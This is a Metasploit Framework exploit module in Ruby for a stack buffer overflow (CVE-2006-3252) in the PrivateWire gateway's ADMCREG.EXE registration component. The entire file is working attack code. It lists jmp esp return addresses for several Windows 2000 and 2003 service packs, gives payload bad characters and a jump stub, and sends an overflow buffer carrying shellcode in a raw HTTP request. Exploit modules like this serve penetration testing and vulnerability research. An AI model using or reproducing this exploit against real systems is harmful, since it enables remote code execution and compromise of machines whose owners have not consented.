Private Wire Gateway Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
# This file may only be distributed as part of the Metasploit Framework.  
# Any other use needs a written permission from the author.  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Private Wire Gateway Buffer Overflow',  
'Description' => %q{  
This exploits a buffer overflow in the ADMCREG.EXE used  
in the PrivateWire Online Registration Facility.  
},  
'Author' => 'Michael Thumann <mthumann[at]ernw.de>',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2006-3252'],  
['OSVDB', '26861'],  
['BID', '18647'],  
],  
'Payload' =>  
{  
'Space' => 8000,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll  
['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll  
['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll  
['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll  
['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll  
['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll  
['Debugging', { 'Ret' => 0x41414141 }], # crash  
],   
'DefaultTarget' => 4,  
'DisclosureDate' => 'Jun 26 2006'))  
  
register_options(   
[   
OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])  
], self.class)  
end  
  
def exploit  
# add 25 to ecx and jmp  
jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"  
  
path_offset = datastore['PATH'].length - 8  
  
pattern = rand_text_alphanumeric(8192)  
pattern[0, payload.encoded.length] = payload.encoded  
pattern[8156 - path_offset, 4] = [target.ret].pack('V')  
pattern[8160, jmp.length] = jmp  
  
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")  
  
send_request_raw({  
'uri' => "/" + pattern  
}, 2)  
end  
  
end  
`